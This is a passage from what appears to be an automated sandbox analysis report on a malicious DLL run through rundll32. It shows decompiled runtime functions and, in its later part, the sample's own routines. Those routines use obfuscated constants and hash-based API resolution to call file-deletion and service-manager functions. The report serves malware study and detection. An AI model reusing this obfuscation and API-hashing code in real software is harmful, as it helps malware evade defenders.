				 *((intOrPtr*)(_t41 + 8)) = 0;
				 *((intOrPtr*)(_t41 + 0xc)) = 0;
				goto L2;
			}

APIs

Part of subcall function 6EF61BD7: _free.LIBCMT ref: 6EF61BE5

Part of subcall function 6EF627A9: WideCharToMultiByte.KERNEL32(?,00000000,6EF6084A,00000000,00000001,6EF607E3,6EF63ABD,?,6EF6084A,?,00000000,?,6EF63834,0000FDE9,00000000,?), ref: 6EF6284B

GetLastError.KERNEL32 ref: 6EF61613
__dosmaperr.LIBCMT ref: 6EF6161A
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6EF61659
__dosmaperr.LIBCMT ref: 6EF61660

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 4d998bcabe835adb2f0127db7df8a9125d396653c4736fda9c72509fbad6f63f
Instruction ID: 54b3a257c4de1bce0fa0a9c94916cc6531476729a2e0ff0761ba6ba021709d69
Opcode Fuzzy Hash: 4d998bcabe835adb2f0127db7df8a9125d396653c4736fda9c72509fbad6f63f
Instruction Fuzzy Hash: C021C172614205BFEB109FE68CA095BB7BCEF413687148919F82D97240EB72EC048BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF6103A, Relevance: 6.1, APIs: 4, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E6EF6103A(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0x6ef8619c; // 0x6
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6EF604CA(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E6EF601B7(_t43, 1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E6EF604CA(__eflags,  *0x6ef8619c, _t51);
							if(__eflags != 0) {
								E6EF60E38(_t60, _t51, 0x6ef9e640);
								E6EF5FEFF(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E6EF604CA(__eflags,  *0x6ef8619c, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E6EF604CA(0,  *0x6ef8619c, 0);
							_push(0);
							L9:
							E6EF5FEFF();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E6EF6048B(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0x6ef8619c; // 0x6
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E6EF5FE28(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0x6ef8619c; // 0x6
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E6EF604CA(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E6EF601B7(_t43, 1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E6EF604CA(__eflags,  *0x6ef8619c, _t60);
								if(__eflags != 0) {
									E6EF60E38(_t60, _t60, 0x6ef9e640);
									E6EF5FEFF(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E6EF604CA(__eflags,  *0x6ef8619c, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E6EF604CA(__eflags,  *0x6ef8619c, _t20);
								_push(_t60);
								L25:
								E6EF5FEFF();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E6EF6048B(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0x6ef8619c; // 0x6
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E6EF5FE28(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0x6ef8619c; // 0x6
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E6EF604CA(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E6EF601B7(_t43, 1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E6EF604CA(__eflags,  *0x6ef8619c, _t54);
											if(__eflags != 0) {
												E6EF60E38(_t61, _t54, 0x6ef9e640);
												E6EF5FEFF(0);
												goto L45;
											} else {
												_t40 = 0;
												E6EF604CA(__eflags,  *0x6ef8619c, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E6EF604CA(0,  *0x6ef8619c, 0);
											_push(0);
											L41:
											E6EF5FEFF();
											goto L36;
										}
									}
								} else {
									_t54 = E6EF6048B(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0x6ef8619c; // 0x6
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

APIs

GetLastError.KERNEL32(?,?,?,6EF63575,00000000,00000001,6EF6084A,?,6EF63A32,00000001,?,?,?,6EF607E3,?,00000000), ref: 6EF6103F
_free.LIBCMT ref: 6EF6109C
_free.LIBCMT ref: 6EF610D2
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EF63A32,00000001,?,?,?,6EF607E3,?,00000000,00000000,6EF85098,0000002C,6EF6084A), ref: 6EF610DD

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 1cf0f00d0bc8e651c50fd0d90323aaed1c7cfac3a8f4473f23cd06a204bde606
Instruction ID: cdd80d38aa2c7e78f857e95c647e69545b2a1fa463e86967c8ac7e0569277b3f
Opcode Fuzzy Hash: 1cf0f00d0bc8e651c50fd0d90323aaed1c7cfac3a8f4473f23cd06a204bde606
Instruction Fuzzy Hash: 3911A733224A817B9EA016F54CB4F6B377D9BD377D7314A26F22C86282EF628C195150

Uniqueness

Uniqueness Score: -1.00%

Function 6EF61191, Relevance: 6.1, APIs: 4, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EF61191(void* __ecx) {
				void* __esi;
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				void* _t14;
				signed int _t18;
				long _t21;

				_t14 = __ecx;
				_t21 = GetLastError();
				_t2 =  *0x6ef8619c; // 0x6
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E6EF604CA(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E6EF601B7(_t14, 1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E6EF604CA(__eflags,  *0x6ef8619c, _t18);
							if(__eflags != 0) {
								E6EF60E38(_t21, _t18, 0x6ef9e640);
								E6EF5FEFF(0);
								goto L13;
							} else {
								_t13 = 0;
								E6EF604CA(__eflags,  *0x6ef8619c, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E6EF604CA(0,  *0x6ef8619c, 0);
							_push(0);
							L9:
							E6EF5FEFF();
							goto L4;
						}
					}
				} else {
					_t18 = E6EF6048B(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0x6ef8619c; // 0x6
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

APIs

GetLastError.KERNEL32(-00000017,6EF9E844,00000000,6EF601A9,6EF5FEF4,6EF9E824,?,6EF5C421,0000BC00,6EF9E844,00000000), ref: 6EF61196
_free.LIBCMT ref: 6EF611F3
_free.LIBCMT ref: 6EF61229
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EF5C421,0000BC00,6EF9E844,00000000), ref: 6EF61234

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 36a096369c4f036bd213c5097660d459777e0776b8fef4ffc3d3ce7c07a65441
Instruction ID: 3001b770cb80218936e9a7a224a4e8ce3eccec172d625a272672af0b96716ee8
Opcode Fuzzy Hash: 36a096369c4f036bd213c5097660d459777e0776b8fef4ffc3d3ce7c07a65441
Instruction Fuzzy Hash: C211A032234A013BDAA056F94CA4F6B377E9BD377C7314A26F22C86281EF628C198150

Uniqueness

Uniqueness Score: -1.00%

Function 6EF65292, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EF65292(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x6ef868f0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E6EF6527B();
					E6EF6523D();
					_t13 = WriteConsoleW( *0x6ef868f0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x6ef652af
0x6ef652b3
0x6ef652c0
0x6ef652c5
0x6ef652e0
0x6ef652e0
0x6ef652e6

APIs

WriteConsoleW.KERNEL32(?,?,6EF6084A,00000000,?,?,6EF64E17,?,00000001,?,00000001,?,6EF63502,00000000,00000000,00000001), ref: 6EF652A9
GetLastError.KERNEL32(?,6EF64E17,?,00000001,?,00000001,?,6EF63502,00000000,00000000,00000001,00000000,00000001,?,6EF63A56,6EF607E3), ref: 6EF652B5

Part of subcall function 6EF6527B: CloseHandle.KERNEL32(FFFFFFFE,6EF652C5,?,6EF64E17,?,00000001,?,00000001,?,6EF63502,00000000,00000000,00000001,00000000,00000001), ref: 6EF6528B

___initconout.LIBCMT ref: 6EF652C5

Part of subcall function 6EF6523D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EF6526C,6EF64E04,00000001,?,6EF63502,00000000,00000000,00000001,00000000), ref: 6EF65250

WriteConsoleW.KERNEL32(?,?,6EF6084A,00000000,?,6EF64E17,?,00000001,?,00000001,?,6EF63502,00000000,00000000,00000001,00000000), ref: 6EF652DA

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 70ae81c7fa8d0e9c33b1220849707d6b96d96c39fd3fc5cdf5356e22a501f3b6
Instruction ID: e83dfa3ddc9636798d79b9016293ad31ef2180ad760e06df0f74e1355a734115
Opcode Fuzzy Hash: 70ae81c7fa8d0e9c33b1220849707d6b96d96c39fd3fc5cdf5356e22a501f3b6
Instruction Fuzzy Hash: C0F03037064665BBCF521FD1CC18B9A3F7AFF4B3A0F154818FA1995120D73289209BD0

Uniqueness

Uniqueness Score: -1.00%

Function 6EF5F52B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EF5F52B(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				void* _t59;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						_push(_t59);
						E6EF623D2(_t48, _t59);
						E6EF61E1F(_t57, 0, 0x6ef9e218, 0x104);
						_t26 =  *0x6ef9e7c0; // 0x28434e0
						 *0x6ef9e7b0 = 0x6ef9e218;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x6ef9e218;
							_v20 = 0x6ef9e218;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E6EF5F7DC(E6EF5F663( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E6EF5F663( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E6EF61D12(_t48, 0, _t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x6ef9e7b4 = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x6ef9e7b8 = _t58;
											L18:
											E6EF5FEFF(_t37);
											_v12 = 0;
											L19:
											E6EF5FEFF(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x6ef9e7b4 = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x6ef9e7b8 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E6EF601A4(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E6EF601A4(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E6EF600E7();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EF5F56E, 6EF5F575, 6EF5F5AB

Memory Dump Source

Source File: 00000003.00000002.251835971.000000006EF42000.00000020.00020000.sdmp, Offset: 6EF40000, based on PE: true

Associated: 00000003.00000002.251820758.000000006EF40000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251828353.000000006EF41000.00000080.00020000.sdmp Download File
Associated: 00000003.00000002.251891282.000000006EF68000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.251940987.000000006EF86000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.251947290.000000006EF87000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.251995168.000000006EF9E000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.252015960.000000006EFA1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: 9882e6440c62b6d8d6f0b298f7c220dc5cfaac4f0aa84ce0685289305b91c529
Instruction ID: 8303851098b50214d86792b118272b958933af1c74c3fd634a413cd01cb13f09
Opcode Fuzzy Hash: 9882e6440c62b6d8d6f0b298f7c220dc5cfaac4f0aa84ce0685289305b91c529
Instruction Fuzzy Hash: 6D419F72A44215AFDB91DFD9C8A099EBBFCFBA5314F2000A7E414D7350E7718A50C791

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 6360 Parent PID: 6316 rundll32.exeCOMMON

Executed Functions

Function 1001F790, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E1001F790(void* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t39;
				int _t48;
				signed int _t50;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t39);
				_v20 = 0x305f8e;
				_v20 = _v20 << 0x10;
				_v20 = _v20 ^ 0x5f829bc1;
				_v12 = 0x22b27e;
				_v12 = _v12 >> 6;
				_v12 = _v12 + 0x22ee;
				_v12 = _v12 ^ 0x000c4601;
				_v8 = 0xcd41e2;
				_v8 = _v8 + 0xd868;
				_v8 = _v8 + 0xd31f;
				_t50 = 0x5f;
				_v8 = _v8 / _t50;
				_v8 = _v8 ^ 0x000a754c;
				_v16 = 0x592d24;
				_v16 = _v16 | 0x8ee4cdff;
				_v16 = _v16 ^ 0x8efaae11;
				E10002309(_t50 + 0x2c, _t50, _t50, 0x7c50bf37, _t50, 0x9c9047d0);
				_t48 = DeleteFileW(_a8); // executed
				return _t48;
			}

0x1001f796
0x1001f799
0x1001f79c
0x1001f7a1
0x1001f7a6
0x1001f7b0
0x1001f7b6
0x1001f7bd
0x1001f7c4
0x1001f7c8
0x1001f7cf
0x1001f7d6
0x1001f7dd
0x1001f7e4
0x1001f7f0
0x1001f7f8
0x1001f7fb
0x1001f802
0x1001f809
0x1001f810
0x1001f82e
0x1001f839
0x1001f83e

APIs

DeleteFileW.KERNEL32(8EFAAE11), ref: 1001F839

Strings

$-Y, xrefs: 1001F802
Lu, xrefs: 1001F7EB
Lu, xrefs: 1001F81A
", xrefs: 1001F7C8

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: DeleteFile
String ID: $-Y$Lu$Lu$"
API String ID: 4033686569-1114282491
Opcode ID: 79e79a46e8f2bc5455ac9c56fc484e8236daa8409ea2d6f81888c9965c792b55
Instruction ID: 543db5e143fc82e0febe4e5b84228ca4fb2f9e33671b133290cd188315d44989
Opcode Fuzzy Hash: 79e79a46e8f2bc5455ac9c56fc484e8236daa8409ea2d6f81888c9965c792b55
Instruction Fuzzy Hash: 7911F5B6C00208FBDF09DFE4CC4A9AEBBB5FB54318F108588E915AA251D3B59B649F50

Uniqueness

Uniqueness Score: -1.00%

Function 1001B0E5, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001B0E5(void* __ecx, void* __edx, intOrPtr _a8, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t43;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;

				E10022523(_t43);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x970fc6;
				_v28 = 0xf733cf;
				_v12 = 0x7d503f;
				_v12 = _v12 | 0x482efb7d;
				_v12 = _v12 + 0xffffad5b;
				_v12 = _v12 ^ 0x48710332;
				_v20 = 0x599c2f;
				_t54 = 0x26;
				_v20 = _v20 / _t54;
				_v20 = _v20 ^ 0x00074c3c;
				_v8 = 0x25764d;
				_v8 = _v8 + 0xffffd21e;
				_v8 = _v8 + 0x28dd;
				_v8 = _v8 ^ 0x00291a50;
				_v16 = 0x4f32db;
				_v16 = _v16 | 0x18cb750c;
				_v16 = _v16 ^ 0x18cb774b;
				_t51 = E10002309(0x234, _t54, _t54, 0x491df8aa, _t54, 0x9c9047d0);
				_t52 =  *_t51(_a16, 0, _a24, 0x28, __ecx, __edx, 0x28, _a8, 0, _a16, _a20, _a24); // executed
				return _t52;
			}

0x1001b0fd
0x1001b102
0x1001b109
0x1001b112
0x1001b119
0x1001b120
0x1001b127
0x1001b12e
0x1001b135
0x1001b141
0x1001b149
0x1001b14c
0x1001b153
0x1001b15a
0x1001b161
0x1001b168
0x1001b16f
0x1001b176
0x1001b17d
0x1001b19d
0x1001b1af
0x1001b1b4

APIs

SetFileInformationByHandle.KERNEL32(00000000,00000000,00970FC6,00000028), ref: 1001B1AF

Strings

?P}, xrefs: 1001B119
Mv%, xrefs: 1001B153

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FileHandleInformation
String ID: ?P}$Mv%
API String ID: 3935143524-2885159553
Opcode ID: 1ff294a8cd7c50f0204e083802874af947afed1ebbf66a27c509e70a6e85c5c2
Instruction ID: c6294db63f7ee4bb071aec84c080713cd91fe9e816122fc1ccfe0a57a864389e
Opcode Fuzzy Hash: 1ff294a8cd7c50f0204e083802874af947afed1ebbf66a27c509e70a6e85c5c2
Instruction Fuzzy Hash: A02164B2D0120DFFDF54CF98CD4AAAEBBB1FB04305F008188E915A6290E3B55B248F90

Uniqueness

Uniqueness Score: -1.00%

Function 100142E4, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
memoryCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E100142E4(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				long _v24;
				long _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t43;
				char _t54;
				signed int _t57;
				void* _t62;
				void* _t63;

				_push(_a20);
				_t62 = __edx;
				_push(_a16);
				_t63 = __ecx;
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v36 = 0xead706;
				_v32 = 0x8aaadf;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x3b6f9b;
				_t57 = 0x3f;
				_v12 = _v12 * 0xe;
				_v12 = _v12 << 0x10;
				_v12 = _v12 ^ 0x1a7fe3f0;
				_v20 = 0x6318b1;
				_v20 = _v20 | 0x2b2fc1f2;
				_v20 = _v20 ^ 0x2b6f417a;
				_v8 = 0xeb56a2;
				_v8 = _v8 << 1;
				_v8 = _v8 / _t57;
				_v8 = _v8 * 0x2f;
				_v8 = _v8 ^ 0x015d5ff9;
				_v16 = 0x2619ef;
				_v16 = _v16 << 6;
				_v16 = _v16 ^ 0x098e35d6;
				E10002309(_t57 + 0x4d, _t57, _t57, 0x52f9059f, _t57, 0x9c9047d0);
				_t54 = RtlFreeHeap(_t62, 0, _t63); // executed
				return _t54;
			}

0x100142ed
0x100142f2
0x100142f4
0x100142f7
0x100142f9
0x100142fa
0x100142fd
0x10014300
0x10014301
0x10014302
0x10014307
0x10014311
0x1001431a
0x1001431d
0x10014320
0x1001432d
0x10014334
0x10014337
0x1001433b
0x10014342
0x10014349
0x10014350
0x10014357
0x1001435e
0x1001436b
0x10014377
0x1001437a
0x10014381
0x10014388
0x1001438c
0x1001439f
0x100143aa
0x100143b2

APIs

RtlFreeHeap.NTDLL(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,072B1AC5,00000000,00000000), ref: 100143AA

Strings

zAo+, xrefs: 10014350

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID: zAo+
API String ID: 3298025750-440923707
Opcode ID: 782d704bb29470d0423d04c6355d4fda0cb05a54fe280a973ff5c90c0f5ad215
Instruction ID: 613f1e34ca62f437a9a883da1f6942e021cbcbe0c1bd7b5908013fed4c35e44f
Opcode Fuzzy Hash: 782d704bb29470d0423d04c6355d4fda0cb05a54fe280a973ff5c90c0f5ad215
Instruction Fuzzy Hash: 4D2128B1D00218FF9B08CF99D98A8EEBFB9FB44344F508199E515A7240D3B05B149B90

Uniqueness

Uniqueness Score: -1.00%

Function 1001FE9D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E1001FE9D(void* __edx, intOrPtr _a4, intOrPtr _a8, int _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t34;
				void* _t41;
				void* _t43;

				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t34);
				_v32 = 0xfebeef;
				_v28 = 0x6b4d4f;
				_v24 = 0;
				_v20 = 0x72d4d3;
				_v20 = _v20 + 0x7ce2;
				_v20 = _v20 ^ 0x0072d8bc;
				_v16 = 0x618a6;
				_v16 = _v16 + 0x2ac;
				_v16 = _v16 ^ 0x00083b16;
				_v12 = 0x17740f;
				_v12 = _v12 + 0x9d82;
				_v12 = _v12 ^ 0x0012bdfc;
				_v8 = 0xba692b;
				_v8 = _v8 ^ 0x31422697;
				_v8 = _v8 >> 0x10;
				_v8 = _v8 ^ 0x0005552e;
				_push(0x21ce39be);
				_push(0xb53dc03);
				_push(_t42);
				_push(_t42);
				_t43 = 0x15;
				E10002309(_t43);
				_t41 = OpenSCManagerW(0, 0, _a16); // executed
				return _t41;
			}

0x1001fea4
0x1001fea9
0x1001feaa
0x1001fead
0x1001feb1
0x1001feb2
0x1001feb7
0x1001fec1
0x1001fec8
0x1001fecb
0x1001fed2
0x1001fed9
0x1001fee0
0x1001fee7
0x1001feee
0x1001fef5
0x1001fefc
0x1001ff03
0x1001ff0a
0x1001ff11
0x1001ff18
0x1001ff1c
0x1001ff2f
0x1001ff35
0x1001ff3a
0x1001ff3b
0x1001ff3e
0x1001ff3f
0x1001ff4c
0x1001ff52

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,10015191,?,?,?,?,?,?,?,?,?,?,0EB411AB), ref: 1001FF4C

Strings

OMk, xrefs: 1001FEC1

Memory Dump Source

Source File: 00000004.00000002.254767021.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.254751431.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.254794719.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ManagerOpen
